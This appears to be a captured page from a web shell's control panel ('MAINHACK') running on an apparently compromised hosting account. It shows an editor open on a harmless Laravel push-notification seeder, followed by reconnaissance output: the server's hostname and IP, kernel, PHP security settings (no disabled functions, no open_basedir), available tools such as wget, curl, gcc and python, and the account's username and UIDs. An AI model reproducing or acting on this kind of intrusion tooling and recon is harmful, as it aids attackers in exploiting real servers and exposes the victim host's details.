[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: PushNotificationTableSeeder.php
<?php namespace Database\Seeders; use App\Models\PushNotification; use Illuminate\Database\Seeder; use Dipokhalder\EnvEditor\EnvEditor; class PushNotificationTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { $envService = new EnvEditor(); if ($envService->getValue('DEMO') && $envService->getValue('DISPLAY_TYPE') == 'fashion') { PushNotification::insert([ [ 'title' => "Hurry! Flash Sale Now Live!", 'description' => "Limited time offer! Grab your favorites at jaw-dropping prices. Shop now before it's gone!", 'role_id' => 2, 'user_id' => 0, 'created_at' => now(), 'updated_at' => now() ], [ 'title' => "Happy Birthday, VIP Customer! Here's a Gift From Us 🎁", 'description' => "Celebrate your day with [discount/freebie] on your next purchase. Treat yourself!", 'role_id' => 2, 'user_id' => 2, 'created_at' => now(), 'updated_at' => now() ], [ 'title' => "We Miss You! Here's an Exclusive Offer", 'description' => "It's been a while! Enjoy a special discount as our way of welcoming you back. Come rediscover what you love.", 'role_id' => 0, 'user_id' => 0, 'created_at' => now(), 'updated_at' => now() ], [ 'title' => "Weekly Sales Report Ready!", 'description' => "Get insights into this week's sales performance. View detailed analytics and trends to strategize effectively.", 'role_id' => 1, 'user_id' => 1, 'created_at' => now(), 'updated_at' => now() ], [ 'title' => "Festive Deals Await You!", 'description' => "Get into the spirit with our special holiday offers. Unwrap savings on gifts, decor, and more!", 'role_id' => 3, 'user_id' => 0, 'created_at' => now(), 'updated_at' => now() ], ]); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.87 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285